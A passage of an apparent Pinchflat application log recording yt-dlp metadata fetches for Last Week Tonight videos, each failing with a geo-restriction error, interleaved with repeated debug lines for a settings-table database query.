Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 18:08:05.880 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 18:08:05.880 [debug] QUERY OK source="settings" db=0.0ms idle=403.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:05.880 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:05.880 [debug] Running yt-dlp command for action: get_media_attributes 18:08:05.894 [debug] QUERY OK source="settings" db=0.0ms idle=16.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:05.894 [debug] QUERY OK source="settings" db=0.0ms idle=16.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:05.895 [debug] QUERY OK source="settings" db=0.0ms idle=16.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:05.895 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/49/35/493500f23671d245e39b753f96a3ca4eabef2361b2dc8738e922119613aaeb34.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:08:07.265 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/49/35/493500f23671d245e39b753f96a3ca4eabef2361b2dc8738e922119613aaeb34.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 18:08:07.265 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 18:08:07.265 [debug] QUERY OK source="settings" db=0.1ms idle=1384.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:07.265 [debug] QUERY OK source="settings" db=0.0ms idle=1371.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:07.265 [debug] Running yt-dlp command for action: get_media_attributes 18:08:07.288 [debug] QUERY OK source="settings" db=0.0ms idle=1393.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:07.288 [debug] QUERY OK source="settings" db=0.0ms idle=1393.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:07.288 [debug] QUERY OK source="settings" db=0.0ms idle=810.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:07.288 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e4/61/e461f01e89b50ee1ab2d82155821c4584d00cce592f682c352d5f6e758b147ef.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:08:09.373 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e4/61/e461f01e89b50ee1ab2d82155821c4584d00cce592f682c352d5f6e758b147ef.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 18:08:09.373 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 18:08:09.373 [debug] QUERY OK source="settings" db=0.1ms idle=893.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:09.373 [debug] QUERY OK source="settings" db=0.0ms idle=495.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:09.373 [debug] Running yt-dlp command for action: get_media_attributes 18:08:09.375 [debug] QUERY OK source="settings" db=0.0ms idle=497.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:09.375 [debug] QUERY OK source="settings" db=0.0ms idle=497.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:09.375 [debug] QUERY OK source="settings" db=0.0ms idle=497.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:09.375 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a3/d3/a3d31b25708a477b3c71db27bc3b3ab5765af132bf034fcc6bf3629330d60c3a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:08:10.822 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a3/d3/a3d31b25708a477b3c71db27bc3b3ab5765af132bf034fcc6bf3629330d60c3a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 18:08:10.822 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, 